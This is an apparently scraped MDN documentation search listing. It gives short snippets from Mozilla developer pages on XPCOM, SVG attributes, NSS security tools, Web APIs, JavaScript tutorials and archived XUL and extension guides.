this content is now available at nsicategorymanager.deletecategoryentry().
enumerateCategories
this content is now available at nsicategorymanager.enumeratecategories().
enumerateCategory
this content is now available at nsicategorymanager.enumeratecategory().
getCategoryEntry
this content is now available at nsicategorymanager.getcategoryentry().
registerFactoryLocation
this content is now available at nsicomponentregistrar.registerfactorylocation().
unregisterFactoryLocation
this content is now available at nsicomponentregistrar.unregisterfactorylocation().
nsIDOMCanvasRenderingContext2D
the nsidomcanvasrenderingcontext2d interface implements the dom canvasrenderingcontext2d interface.
nsIDOMDesktopNotification
the nsidomdesktopnotification interface implements the dom notification interface.
nsIDOMDesktopNotificationCenter
the nsidomdesktopnotificationcenter interface implements the dom navigator.moznotification interface.
canUnload
this content is now available at nsimodule.canunload().
nsIPrefLocalizedString
modules/libpref/public/nsipreflocalizedstring.idlscriptable this interface is simply a wrapper interface for nsisupportsstring so the preferences service can have a unique identifier to distinguish between requests for normal wide strings nsisupportsstring) and 'localized' wide strings, which get their default values from properites files.
MediaCapabilitiesInfo - Web APIs
the interface of the promise returned by the the mediacapabilities's encodinginfo() and decodinginfo() methods returning whether the media configuration tested is supported, smooth, and powerefficient.
accent-height - SVG: Scalable Vector Graphics
value <number> default value value of ascent animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'accent-height' in that specification.
ascent - SVG: Scalable Vector Graphics
WebSVGAttributeascent
value <number> default value difference between units-per-em and vert-origin-y animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'ascent' in that specification.
attributeType - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'attributetype' in that specification.
bbox - SVG: Scalable Vector Graphics
WebSVGAttributebbox
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'bbox' in that specification.
contentScriptType - SVG: Scalable Vector Graphics
usage notes value one of the content types specified in the media types default value application/ecmascript animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'contentscripttype' in that specification.
descent - SVG: Scalable Vector Graphics
WebSVGAttributedescent
only one element is using this attribute: <font-face> usage notes value <number> default value value of vert-origin-y animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'descent' in that specification.
overline-thickness - SVG: Scalable Vector Graphics
usage context categories none value <number> animatable no normative document svg 1.1 (2nd edition) elements the following elements can use the overline-thickness attribute: <font-face> ...
strikethrough-thickness - SVG: Scalable Vector Graphics
usage context categories none value <number> animatable no normative document svg 1.1 (2nd edition) elements the following elements can use the strikethrough-thickness attribute: <font-face> ...
string - SVG: Scalable Vector Graphics
WebSVGAttributestring
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'string' in that specification.
underline-thickness - SVG: Scalable Vector Graphics
usage context categories none value <number> animatable no normative document svg 1.1 (2nd edition) elements the following elements can use the underline-thickness attribute: <font-face> ...
unicode-range - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'unicode-range' in that specification.
xlink:type - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'xlink:type' in that specification.
xml:base - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'xml:base' in that specification.
<hatchpath> - SVG: Scalable Vector Graphics
WebSVGElementhatchpath
usage context categoriesnonepermitted contentany number of the following elements, in any order:animation elementsdescriptive elements<script>, <style> attributes global attributes core attributes global event attributes presentation attributes style attributes specific attributes d offset dom interface this element implements the svghatchpathelement interface.
<solidcolor> - SVG: Scalable Vector Graphics
this is less elegant, and unlike <solidcolor>, cannot itself be used in the definition of gradients.
Other Resources - SVG: Scalable Vector Graphics
here is a list of additional resources on svg: mozilla svg resources svg.org svgbasics tutorials w3c svg homepage svg wiki http://wiki.svg.org/index.php?title=..._configuration i moved this from the other resources category, not sure why it's in other resources -nickolay http://developer.mozilla.org/en/docs...%28external%29 ...
Project - SVG: Scalable Vector Graphics
WebSVGProject
this page was auto-generated because a user created a sub-page to this page.
Replaced Element - SVG: Scalable Vector Graphics
this page was auto-generated because a user created a sub-page to this page.
Sizing - SVG: Scalable Vector Graphics
WebSVGSizing
this page was auto-generated because a user created a sub-page to this page.
Index - Web APIs
WebAPIIndex
in addition, it can execute multiple instances of the range of elements.
...in addition, it can execute multiple instances of a set of elements.
... 9 abortcontroller.signal api, abortcontroller, experimental, fetch, property, reference, signal the signal read-only property of the abortcontroller interface returns an abortsignal object instance, which can be used to communicate with/abort a dom request as desired.
...And 2351 more matches
Index - Archive of obsolete content
perhaps your target audience is people that are using older hardware, for example, and can't upgrade to the latest and greatest browsers.
... 2 .htaccess ( hypertext access ) 301 redirect, cache control, custom error pages, htaccess, permanent redirect, redirect file accessing : htaccess files can be opened using any text editor, like windows notepad, vin, sublime text editor or any other.
... 6 navigator.moznotification api, deprecated, mobile, non-standard, property, reference provides support for creating notification objects, which are used to display desktop notification alerts to the user.
...And 790 more matches
Index
found 353 pages: # page tags and summary 1 network security services jss, nss, needsmigration network security services (nss) is a set of libraries designed to support cross-platform development of security-enabled client and server applications.
... applications built with nss can support ssl v3, tls, pkcs #5, pkcs #7, pkcs #11, pkcs #12, s/mime, x.509 v3 certificates, and other security standards.
... 2 an overview of nss internals api, intermediate, intro, nss, tools a high-level overview to the internals of network security services (nss) software developed by the mozilla.org projects traditionally used its own implementation of security protocols and cryptographic algorithms, originally called netscape security services, nowadays called network security services (nss).
...And 631 more matches
Index
MozillaTechXPCOMIndex
2 accessing the windows registry using xpcom add-ons, code snippets, extensions, needsclassification, windows registry when implementing windows-specific functionality, it is often useful to access the windows registry for information about the environment or other installed programs.
...the more likely case is that the component uses "unfrozen" interfaces and those interfaces can change between gecko versions.
... this can create a difficult situation for extension developers trying to support multiple gecko versions (firefox 2 and 3, for example).
...And 533 more matches
sslfnc.html
ssl initialization functions ssl export policy functions ssl configuration functions ssl communication functions ssl functions used by callbacks ssl handshake functions nss shutdown function deprecated functions ssl initialization functions this section describes the initialization functions that are specific to ssl.
... note that at least one of the functions listed in ssl export policy functions must also be called during nss initialization.
... nss_init nss_initreadwrite nss_nodb_init ssl_optionsetdefault ssl_optiongetdefault ssl_cipherprefsetdefault ssl_cipherprefgetdefault ssl_clearsessioncache ssl_configserversessionidcache ssl_configmpserversidcache ssl_inheritmpserversidcache nss_init sets up configuration files and performs other tasks required to run network security services.
...And 387 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
2 404 glossary, http errors, infrastructure, navigation a 404 is a standard response code meaning that the server cannot find the requested resource.
... 4 alpn alpn, draft, glossary, needscontent, tls application-layer protocol negotiation (alpn) is a tls extension which indicates what application layer protocol is negotiating the encryped connection without requiring additional round trips.
... 5 api codingscripting, glossary, infrastructure an api (application programming interface) is a set of features and rules that exist inside a software program (the application) enabling interaction with it through software - as opposed to a human user interface.
...And 354 more matches
Index
found 550 pages: # page tags and summary 1 spidermonkey: the mozilla javascript runtime spidermonkey standalone source code releases can be found on the releases page.
... 4 foss guide, spidermonkey feel free to add your own spidermonkey-based open source projects (and if necessary add categories)!
...it can be read as something like an "ideal future state" for the engine.
...And 254 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
public-key cryptography and related standards and techniques underlie the security features of many products such as signed and encrypted email, single sign-on, and secure sockets layer (ssl) communications.
...for an overview of ssl, see "introduction to ssl." for an overview of encryption and decryption, see "encryption and decryption." information on digital signatures is available from "digital signatures." public-key cryptography is a set of well-established techniques and standards for protecting communications from eavesdropping, tampering, and impersonation attacks.
... encryption and decryption allow two communicating parties to disguise information they send to each other.
...And 242 more matches
Bytecode Descriptions
bytecode listing this document is automatically generated from opcodes.h by make_opcode_doc.py.
...if the operand is a nan, it must be the canonical nan (see js::detail::canonicalizenan).
... expressions unary operators void stack: val ⇒ undefined pop the top value on the stack, discard it, and push undefined.
...And 229 more matches
Index - Archive of obsolete content
ArchiveMozillaXULIndex
found 1218 pages: # page tags and summary 1 xul landing, mozilla, xul xul (xml user interface language) is mozilla's xml-based language for building user interfaces of applications like firefox.
... 2 &lt;statusbarpanel&gt; deprecated, xul, xul elements, xul reference an individual element of a statusbar.
...unlike normal buttons, a statusbarpanel can only have a label or an image but not both.
...And 216 more matches
WebIDL bindings
the configuration file, dom/bindings/bindings.conf, is basically a python dict that maps interface names to information about the interface, called a descriptor.
... there are all sorts of possible options here that handle various edge cases, but most descriptors can be very simple.
... adding webidl bindings to a class to add a webidl binding for interface myinterface to a class mozilla::dom::myinterface that's supposed to implement that interface, you need to do the following: if your interface doesn't inherit from any other interfaces, inherit from nswrappercache and hook up the class to the cycle collector so it will trace the wrapper cache properly.
...And 213 more matches
JSAPI User Guide
but mozilla's javascript engine is a library that can be linked into any c++ program, not just a browser.
... many applications can benefit from scripting.
... these programs can execute javascript code from c++ using the spidermonkey api.
...And 196 more matches
Index - Learn web development
beyond mechanical use, it's important to learn how to use these technologies responsibly so that all readers might use your creations on the web.
... 3 accessible multimedia accessibility, article, audio, beginner, codingscripting, html, images, javascript, learn, multimedia, video, captions, subtitles, text tracks this chapter has provided a summary of accessibility concerns for multimedia content, along with some practical solutions.
... 7 html: a good basis for accessibility at, accessibility, article, beginner, buttons, codingscripting, forms, html, learn, links, a11y, assistive technology, keyboard, screenreader, semantics you should now be well-versed in writing accessible html for most occasions.
...And 188 more matches
HTTP Index - HTTP
WebHTTPIndex
found 277 pages: # page tags and summary 1 http http, hypertext, reference, tcp/ip, web, web development, l10n:priority hypertext transfer protocol (http) is an application-layer protocol for transmitting hypermedia documents, such as html.
... it was designed for communication between web browsers and web servers, but it can also be used for other purposes.
... http follows a classical client-server model, with a client opening a connection to make a request, then waiting until it receives a response.
...And 188 more matches
Drawing graphics - Learn web development
previous overview: client-side web apis next the browser contains some very powerful graphics programming tools, from the scalable vector graphics (svg) language, to apis for drawing on html <canvas> elements, (see the canvas api and webgl).
... this article provides an introduction to canvas, and further resources to allow you to learn more.
... prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn the basics of drawing on <canvas> elements using javascript.
...And 158 more matches
Starting WebLock
getting called at startup no person is an island to himself, and neither are components.
...after having its registration procedure called, the component does nothing.
... in order to be started up or notified when some event happens, the sample component has to hook into mozilla, which it can do either by overriding an existing component or by registering for some event that will cause it to start up.
...And 154 more matches
IME handling guide
this is a technical term from windows but these days, this is used on other platforms as well.
... ime is a helper application of a user's text input.
... it handles native key events before or after focused application (depending on the platform) and creates a composition string (a.k.a.
...And 153 more matches
NSS tools : certutil
name certutil — manage keys and certificate in both nss databases and other nss tokens synopsis certutil [options] [[arguments]] description the certificate database tool, certutil, is a command-line utility that can create and modify certificate and key databases.
... it can specifically list, generate, modify, or delete certificates, create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key database.
... certificate issuance, part of the key and certificate management process, requires that keys and certificates be created in the key database.
...And 153 more matches
certutil
name certutil — manage keys and certificate in the the nss database.
... synopsis certutil [options] arguments description the certificate database tool, certutil, is a command-line utility that can create and modify certificate and key database files.
... it can also list, generate, modify, or delete certificates within the database, create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key database.
...And 151 more matches
Document - Web APIs
WebAPIDocument
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monos...
... document.compatmode read only indicates whether the document is rendered in quirks or strict mode.
... document.documenturiread only returns the document location as a string.
...And 133 more matches
HTML documentation index - HTML: Hypertext Markup Language
WebHTMLIndex
2 allowing cross-origin use of images and canvas advanced, cors, canvas, html, image, reference, security, storage, data html provides a crossorigin attribute for images that, in combination with an appropriate cors header, allows images defined by the <img> element that are loaded from foreign origins to be used in a <canvas> as if they had been loaded from the current origin.
...this article is a primer introducing each of the ways css color can be used in html.
... 4 block-level elements beginner, development, guide, html, html5, web html (hypertext markup language) elements historically were categorized as either "block-level" elements or "inline-level" elements.
...And 130 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
abstract this document is a concrete example of a centralized auto-configuration of mozilla apps, that are; firefox, thunderbird, mozilla suite 1.x.x, seamonkey and for the record, old netscape 4.x.
...for history, i've kept mozilla and netscape chapters, as certain points are complementary to the web-based autoconfig file.
...all users have a personal account on a windows server (ad) and an ldap account for linux authentication.
...And 129 more matches
Mozilla internal string guide
as a result, you cannot assign a 8-bit string to a 16-bit string without some kind of conversion helper class or routine.
... in order to avoid unnecessary copying of string data (which can have significant performance cost), the string classes support different ownership models.
... all string classes support the following three ownership models dynamically: reference counted, copy-on-write, buffers (the default) adopted buffers (a buffer that the string class owns, but is not reference counted, because it came from somewhere else) dependent buffers, that is, an underlying buffer that the string class does not own, but that the caller that constructed the string guarantees will outlive the string instance in addition, there is a special string class, ns[c]autostring, that additionally contains an internal 64-unit buffer (intended primarily for use on the stack), leading to a fourth ownership model: storage within an auto string's stack buffer auto strings will prefer reference counting an existing reference-counted buffer over their stack buffer, but will o...
...And 126 more matches
Introduction to SSL - Archive of obsolete content
ssl has been universally accepted on the world wide web for authenticated and encrypted communication between clients and servers.
... the ssl protocol ciphers used with ssl the ssl handshake the new internet engineering task force (ietf) standard protocol called transport layer security (tls) is based on ssl.
... this document is primarily intended for administrators of red hat server products, but the information it contains may also be useful for developers of applications that support ssl.
...And 125 more matches
sslerr.html
ssl error codes sec error codes ssl error codes table 8.1 error codes defined in sslerr.h constant value description ssl_error_export_only_server -12288 "unable to communicate securely.
... peer does not support high-grade encryption." the local system was configured to support the cipher suites permitted for domestic use.
... ssl_error_us_only_server -12287 "unable to communicate securely.
...And 125 more matches
Key Values - Web APIs
the tables below list the standard key values in various categories of key, with an explanation of what the key is typically used for.
... learn how to use these key values in javascript using keyboardevent.key special values | modifier keys | whitespace keys | navigation keys | editing keys | ui keys | device keys | ime and composition keys | function keys | phone keys | multimedia keys | audio control keys | tv control keys | media controller keys | speech recognition keys | document keys | application selector keys | browser control keys | numeric keypad keys special values values of key which have special meanings other than identifying a specific key or character.
... this can happen due to hardware or software constraints, or because of constraints around the platform on which the user agent is running.
...And 125 more matches
Using IndexedDB - Web APIs
because it lets you create web applications with rich query abilities regardless of network availability, your applications can work both online and offline.
... do something with the results (which can be found on the request object).
... with these big concepts under our belts, we can get to more concrete stuff.
...And 123 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
introduction when netscape started the mozilla browser, it made the conscious decision to support w3c standards.
... as a result, mozilla is not fully backwards-compatible with netscape navigator 4.x and microsoft internet explorer legacy code; for example, mozilla does not support <layer> as i will discuss later.
... i'll also cover nonstandard technologies, such as xmlhttprequest and rich text editing, that mozilla does support because no w3c equivalent existed at the time.
...And 120 more matches
MMgc - Archive of obsolete content
it is a static library that is linked into the flash player but kept separate, and can be incorporated into other programs.
...the flash player uses it for nearly all memory allocations.
... mmgc can handle both managed and unmanaged memory.
...And 116 more matches
NSS tools : signtool
to help address some of these problems, you can associate digital signatures with the files in a jar archive.
... digital signatures allow ssl-enabled clients to perform two important operations: * confirm the identity of the individual, company, or other entity whose digital signature is associated with the files * check whether the files have been tampered with since being signed if you have a signing certificate, you can use netscape signing tool to digitally sign files and package them as a jar file.
... an object-signing certificate is a special kind of certificate that allows you to associate your digital signature with one or more files.
...And 115 more matches
Parser API
this makes it easier to write tools in javascript that manipulate javascript source programs, such as syntax highlighters, static analyses, translators, compilers, obfuscators, etc.
... example: > var expr = reflect.parse("obj.foo + 42").body[0].expression > expr.left.property ({loc:null, type:"identifier", name:"foo"}) > expr.right ({loc:{source:null, start:{line:1, column:10}, end:{line:1, column:12}}, type:"literal", value:42}) it is also available since firefox 7; it can be imported into the global object via: components.utils.import("resource://gre/modules/reflect.jsm") or into a specified object via: components.utils.import("resource://gre/modules/reflect.jsm", obj) built-in objects whether in spidermonkey shell or firefox (after importing), the global singleton object reflect currently contains just the parse method.
... additional options may be provided via the options object, which can include any of the following properties: loc boolean default: true when loc is true, the parser includes source location information in the returned ast nodes.
...And 114 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
like web pages, which display the same regardless of platform, applications marked up in xul will work the same in any environment where firefox runs.
... because html was originally conceived as a language for marking up documents, specifically web pages, it is inevitably lacking in functionality for marking up applications.
... xul, on the other hand, was conceived from the ground up as a markup language for user interfaces, and makes it possible to insert ui components with sophisticated features just by writing tags, without any particular scripting.
...And 112 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
practical tips for developers and how mozilla does it contents this document is for developers working to support msaa in an application in order to make it accessible with 3rd party assistive technologies, as well as for hackers wishing to be involved in mozilla's msaa support specifically.
...if you're interested in more about gecko's msaa implementation, read gecko info for windows accessibility vendors to learn how msaa clients can utilize gecko's msaa support.
...the screen reader user can navigate the web page using screen reader commands or browser commands, and the two pieces of software must remain in sync.
...And 111 more matches
Web video codec guide - Web media technologies
due to the sheer size of uncompressed video data, it's necessary to compress it significantly in order to store it, let alone transmit it over a network.
... at a typical 30 frames per second, each second of hd video would occupy 248,832,000 bytes (~249 mb).
... a fairly typical 30 minute video conference would need about 447.9 gb of storage, and a 2-hour movie would take almost 1.79 tb (that is, 1790 gb).
...And 111 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
WebHTMLElementinput
<input type="date" name="date"/> html5 datetime-local a control for entering a date and time, with no time zone.
... <input type="datetime-local" name="datetime-local"/> html5 email a field for editing an email address.
...use the accept attribute to define the types of files that the control can select.
...And 107 more matches
Python binding for NSS
project information python-nss is a python binding for nss (network security services) and nspr (netscape portable runtime).
... nss is built upon nspr because nspr provides an abstraction of common operating system services, particularly in the areas of networking and process management.
... python also provides an abstraction of common operating system services but because nss and nspr are tightly bound python-nss exposes elements of nspr.
...And 104 more matches
A re-introduction to JavaScript (JS tutorial) - JavaScript
because javascript is notorious for being the world's most misunderstood programming language.
...javascript is now used by an incredible number of high-profile applications, showing that deeper knowledge of this technology is an important skill for any web or mobile developer.
...javascript was created in 1995 by brendan eich while he was an engineer at netscape.
...And 103 more matches
Mozilla
in addition, you'll find helpful articles about how the code works, how to build add-ons for mozilla applications and the like.
... a bird's-eye view of the mozilla framework the purpose of this article is to provide a high-level technical overview of the architecture of the extensible, object-based mozilla application framework.
... adding a new word to the en-us dictionary occasionally bugs are filed pointing out situations where perfectly legitimate words are missing from the english spell check dictionary in firefox.
...And 102 more matches
NSS Tools certutil
using the certificate database tool the certificate database tool is a command-line utility that can create and modify the netscape communicator cert8.db and key3.db database files.
... it can also list, generate, modify, or delete certificates within the cert8.db file and create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key3.db file.
... the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database.
...And 100 more matches
Shell global objects
these are the global objects that are set up automatically by the spidermonkey js command-line interpreter when you start the program.
... you can get the list of functions by help() function in js shell.
... timesaccessed returns a number that indicates how many times this variable is accessed perfmeasurement see perfmeasurement.jsm.
...And 99 more matches
Web Replay
replaying processes preserve all the same js behavior, dom structures, graphical updates, and most other behaviors that occurred while recording.
... devtools' debugger and console can be used to inspect and control the replay.
...web replay's features can only be used in a tab that is recording or replaying.
...And 99 more matches
An overview of NSS Internals
a high-level overview to the internals of network security services (nss) software developed by the mozilla.org projects traditionally used its own implementation of security protocols and cryptographic algorithms, originally called netscape security services, nowadays called network security services (nss).
...in order to support multiple operating systems (os), it is based on a cross platform portability layer, called the netscape portable runtime (nspr), which provides cross platform application programming interfaces (apis) for os specific apis like file system access, memory management, network communication, and multithreaded programming.
... in order to allow interoperability between software and devices that perform cryptographic operations, nss conforms to a standard called pkcs#11.
...And 98 more matches
nsIDOMWindowUtils
to get this interface, use: var domwindowutils = window.windowutils; method overview void activatenativemenuitemat(in astring indexstring); void clearmozafterpaintevents(); pruint32 comparecanvases(in nsidomhtmlcanvaselement acanvas1, in nsidomhtmlcanvaselement acanvas2, out unsigned long amaxdifference); double computeanimationdistance(in nsidomelement element, in astring property, in astring value1, in astring value2); nsicompositionstringsynthesizer createcompositionstringsynthesizer(); obsolete since gecko 38.0 void disablenontestmouseevents(in boolea...
... void removesheet(in nsiuri sheeturi, in unsigned long type); void resumetimeouts(); void sendcompositionevent(in astring atype); obsolete since gecko 9 void sendcompositionevent(in astring atype, in astring adata, in astring alocale); obsolete since gecko 38.0 void sendcontentcommandevent(in astring atype, [optional] in nsitransferable atransferable); void getclassname(in object aobj); boolean sendkeyevent(in astring atype, in long akeycode, in long acharcode, in long amodifiers, [optional] in boolean apreventdefault); obsolete since gecko 15.0 boolean sendkeyevent(in astring atype, i...
...n long akeycode, in long acharcode, in long amodifiers, [optional] in unsigned long aadditionalflags); deprecated since gecko 38.0 void sendmouseevent(in astring atype, in float ax, in float ay, in long abutton, in long aclickcount, in long amodifiers, [optional] in boolean aignorerootscrollframe); void sendmouseeventtowindow(in astring atype, in float ax, in float ay, in long abutton, in long aclickcount, in long amodifiers, [optional] in boolean aignorerootscrollframe); void sendmousescrollevent(in astring atype, in float ax, in float ay, in long abutton, in long ascrollflags, in long adelta, in long amodifiers); obsolete since gecko 17.0 void sendwheelevent(in float ax, in float ay, in double adeltax, in double adeltay, in double adeltaz, in unsigne...
...And 98 more matches
Browser Detection and Cross Browser Support - Archive of obsolete content
improper browser detection can lead to web maintenance nightmares.
...note that some other browsers such as safari are reporting (like gecko) in their user agent strings and can confuse simple tests.
...as a member of the netscape evangelism team who has spent over a year investigating existing web content, i can say without a doubt that most compatibility problems found on the web today are due to a lack of understanding of the standards combined with inadequate and inappropriate browser detection strategies.
...And 97 more matches
Understanding WebAssembly text format - WebAssembly
s-expressions are a very old and very simple textual format for representing trees, and thus we can think of a module as a tree of nodes that describe the module’s structure and its code.
... all code in a webassembly module is grouped into functions, which have the following pseudo-code structure: ( func <signature> <locals> <body> ) the signature declares what the function takes (parameters) and returns (return values).
... the locals are like vars in javascript, but with explicit types declared.
...And 97 more matches
Using XPInstall to Install Plugins - Archive of obsolete content
the majority of this api is now deprecated and as of gecko 1.9 no longer available.
...xpinstall is a javascript-based installer technology that works across all the platforms that mozilla and netscape browsers based on mozilla (such as netscape 7) are deployed.
... it can be a way to ensure a smooth user-experience when obtaining plugins, without obliging the user to exit the browsing environment to launch a binary installer (the classic setup.exe experience on windows) or obliging the user to restart their browser.
...And 96 more matches
The Essentials of an Extension - Archive of obsolete content
you can open it with any text editor.
... the file is formatted in a special flavor of xml called rdf.
...the other standard practice is to use a generated uuid string, which is extremely unlikely to be duplicated.
...And 95 more matches
Inputs and input sources - Web APIs
inputs in webxr fundamentally, inputs in webxr fall into two basic categories: targeting and actions.
... targeting is the specification of a point in space by the user's input.
... by combining these two types of input with the changing of viewing position and/or orientation through the headset or other mechanisms, you can create an interactive simulated environment.
...And 95 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
in the following you will find a brief description how to do so; a more detailed one can be found under setting up an extension development environment.
...to create this dev profile start firefox with firefox.exe -no-remote -p dev on the first start the profile manager will appear, where you can create the dev profile and configure its home-path.
... preference description value nglayout.debug.disable_xul_cache (not present in firefox 3.5+) ordinarily, firefox will cache xul documents after they have been read in once, to speed subsequent displays.
...And 93 more matches
Graceful asynchronous programming with Promises - Learn web development
there is no guarantee of exactly when the operation will complete and the result will be returned, but there is a guarantee that when the result is available, or the promise fails, the code you provide will be executed in order to do something else with a successful result, or to gracefully handle a failure case.
...let's consider a hypothetical video chat application.
... the application has a window with a list of the user's friends, and clicking on a button next to a user starts a video call to that user.
...And 93 more matches
GlobalEventHandlers - Web APIs
each of these interfaces can, of course, add more event handlers in addition to the ones listed below.
... note: globaleventhandlers is a mixin and not an interface; you can't actually create an object of type globaleventhandlers.
... globaleventhandlers.onabort is an eventhandler representing the code to be called when the abort event is raised.
...And 93 more matches
TypeScript support in Svelte - Learn web development
we will now learn how to use typescript in svelte applications.
... first we'll learn what typescript is and what benefits it can bring us.
...finally we will go over our app and see what modifications we have to make to fully take advantage of typescript features.
...And 92 more matches
NSS API Guidelines
these guidelines will familiarize you with some of the ways things can be done in the nss code.
...the functions in these apis should never call api layers above them.
...the areas which need the most work (both here and throughout the code) is: the relationship of the certificate library with just about every other component (most noticeably pkcs #12, pkcs #7, and pkcs #11) splitting low key and high key components more clearly the crypto wrappers (pkcs #11 wrappers) and high key pkcs #12 and pkcs #5 libraries nss compiles into the libraries described below.
...And 90 more matches
PKCS11 FAQ
MozillaProjectsNSSPKCS11FAQ
pkcs11 faq questions and answers general questions after plugging in an external pkcs #11 module, how do you use the certificate available on the token?
... does the certificate need to be imported into nss's internal certificate database?
... if so, is there a way to get the certificate from an external token into nss's internal certificate database?
...And 89 more matches
nsITextInputProcessor
therefore they sometimes caused impossible scenarios in automated tests (what's tested with such events?) and js-ime and/or js-keyboard on firefox os or add-ons may dispatch events with wrong rules.
...this means that even when gecko changes the dom event behavior, it may not be necessary that the users of this interface need to be updated, i.e., the implementation of this class can be a cushion from the impact of gecko's change.
... you can create an instance of this interface with the following code: var tip = components.classes["@mozilla.org/text-input-processor;1"].
...And 89 more matches
EventTarget.addEventListener() - Web APIs
the eventtarget method addeventlistener() sets up a function that will be called whenever the specified event is delivered to the target.
... addeventlistener() works by adding a function or an object that implements eventlistener to the list of event listeners for the specified event type on the eventtarget on which it's called.
... syntax target.addeventlistener(type, listener [, options]); target.addeventlistener(type, listener [, usecapture]); target.addeventlistener(type, listener [, usecapture, wantsuntrusted ]); // gecko/mozilla only parameters type a case-sensitive string representing the event type to listen for.
...And 89 more matches
CustomizableUI.jsm
areas areas are parts of the user interface in which customizable widgets can be placed.
...when a customizable toolbar's xbl binding is constructed (generally, that is when a <toolbar customizable="true"/> node is appended to the document and isn't invisible), the binding will call into customizableui and register the toolbar's node as being one of the concrete instances of its area.
...however, they can now be 'overflowable', that is, if there are too many widgets to fit in the toolbar's horizontal space, the excess widgets will be placed in a panel accessible from an anchor (chevron) in the toolbar.
...And 88 more matches
Hacking Tips
without arguments, it will dump the bytecode of its caller.
... () { return 1; } js> dis(f); flags: loc op ----- -- main: 00000: one 00001: return 00002: stop source notes: ofs line pc delta desc args ---- ---- ----- ------ -------- ------ 0: 1 0 [ 0] newline 1: 2 0 [ 0] colspan 2 3: 2 2 [ 2] colspan 9 getting the bytecode of a function (from gdb) in jsopcode.cpp, a function named js::disassembleatpc can print the bytecode of a script.
... the backtrace contains in the following order, the stack depth, the interpreter frame pointer (see js/src/vm/stack.h, stackframe class) or (nil) if compiled with ionmonkey, the file and line number of the call location and under parentheses, the jsscript pointer and the jsbytecode pointer (pc) executed.
...And 88 more matches
XUL accessibility guidelines - Archive of obsolete content
by following these principles and practices, you will be able to write your xul applications in such a way that all users, including those with physical, sensory, or communicative disabilities, with be able to use and enjoy them.
... it is hoped that these guidelines will be sufficiently clear and detailed that everyone—even someone with no previous background in accessibility—can understand them.
... in addition, there is an active community of accessibility developers within the mozilla project that will be happy to help you with any concerns or questions you have in regards to making your xul applications fully accessible.
...And 87 more matches
Performance best practices for Firefox front-end engineers
it's also important to note that most of our javascript runs on the main thread, so it's easy for script to cause delays in event processing or painting.
... that means that the more code we can get off of the main thread, the more that thread can respond to user events, paint, and generally be responsive to the user.
... you might want to consider using a worker if you need to do some computation that can be done off of the main thread.
...And 87 more matches
Mozilla DOM Hacking Guide
if you can contribute any time or knowledge to this document, it is greatly appreciated!
...if you don't know xpcom yet, and would like to be able to read this document quickly, you can read the introduction to xpcom for the dom.
...by "correct behavior", i mean "the intended behavior with respect to the specification or de facto standard".
...And 87 more matches
Using Service Workers - Web APIs
this article provides information on getting started with service workers, including basic architecture, registering a service worker, the install and activation process for a new service worker, updating your service worker, cache control and custom responses, all in the context of a simple app with offline functionality.
...the best web app in the world will provide a terrible user experience if you can’t download it.
...but the overriding problem is that there still isn’t a good overall control mechanism for asset caching and custom network requests.
...And 87 more matches
Client-side storage - Learn web development
prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to use client-side storage apis to store application data.
...storing the contents of a shopping cart from a previous session, remembering if a user was previously logged in).
... saving data and assets locally so a site will be quicker (and potentially less expensive) to download, or be usable without a network connection.
...And 86 more matches
WebGL model view projection - Web APIs
it assumes a knowledge of basic matrix math using translation, scale, and rotation matrices.
... it explains the three core matrices that are typically used when composing a 3d scene: the model, view and projection matrices.
... the model, view, and projection matrices individual transformations of points and polygons in space in webgl are handled by the basic transformation matrices like translation, scale, and rotation.
...And 86 more matches
Details of the object model - JavaScript
because of this different basis, it can be less apparent how javascript allows you to create hierarchies of objects and to have inheritance of properties and their values.
...a prototype-based language has the notion of a prototypical object, an object used as a template from which to get the initial properties for a new object.
... any object can specify its own properties, either when you create it or at run time.
...And 86 more matches
Web audio codec guide - Web media technologies
even modest quality, high-fidelity stereo sound can use a substantial amount of disk space.
...in this article, we look at audio codecs used on the web to compress and decompress audio, what their capabilities and use cases are, and offer guidance when choosing audio codecs to use for your content.
... additionally, webrtc implementations generally use a subset of these codecs for their encoding and decoding of media, and may support additional codecs as well, for optimal cross-platform support of video and audio conferencing, and to integrate better with legacy telecommunication solutions.
...And 86 more matches
An Overview of XPCOM
the brief sections in this chapter introduce the concepts at a very high level, so that we can discuss and use them with more familiarity in the tutorial itself, which describes the creation of a mozilla component called weblock.
...in order to allow interoperability between components within an application, xpcom separates the implementation of a component from the interface, which we discuss in interfaces.
